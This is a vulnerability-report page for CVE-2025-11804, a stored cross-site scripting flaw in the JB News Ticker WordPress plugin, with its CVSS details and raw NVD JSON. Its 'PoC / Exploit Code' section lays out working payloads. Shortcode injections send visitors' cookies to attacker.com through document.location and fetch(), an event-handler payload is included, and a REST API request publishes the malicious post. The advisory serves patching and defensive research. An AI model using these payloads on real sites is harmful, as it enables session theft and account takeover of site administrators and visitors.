Security Vulnerability Report
中文
CVE-2025-11804 CVSS 6.4 MEDIUM

CVE-2025-11804

Published: 2025-10-22 09:15:32
Last Modified: 2026-04-15 00:35:42

Description

The JB News Ticker plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' shortcode attribute of the 'jbticker' shortcode in all versions up to, and including, 1.0. This is due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

JB News Ticker <= 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2025-11804: Stored XSS in JB News Ticker Plugin --> <!-- Step 1: Login as Contributor or higher role --> <!-- Step 2: Create a new post with the following shortcode in content --> [jbticker id=""><script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>"] <!-- Alternative payload using event handler --> [jbticker id="" onmouseover="alert(document.domain)" x=""] <!-- Step 3: Submit post for review (or publish if allowed) --> <!-- Step 4: When admin or any user visits the page, the XSS payload executes --> <!-- Exploitation via REST API (automated) --> <!-- Using WordPress REST API to create post with malicious content --> POST /wp-json/wp/v2/posts HTTP/1.1 Host: target-wordpress-site.com Content-Type: application/json Cookie: wordpress_logged_in_xxxxx=... { "title": "Test Post", "content": "[jbticker id=\"\"><script>fetch('https://attacker.com/log?c='+document.cookie)</script>\"]", "status": "publish" }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11804", "sourceIdentifier": "[email protected]", "published": "2025-10-22T09:15:32.290", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The JB News Ticker plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' shortcode attribute of the 'jbticker' shortcode in all versions up to, and including, 1.0. This is due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/jb-news-ticker/tags/1.0/jb-plugin-hook.php#L36", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/jb-news-ticker/tags/1.0/jb-plugin-hook.php#L45", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/062af58f-32e6-4551-b82b-a2766ad5644c?source=cve", "source": "[email protected]"}]}}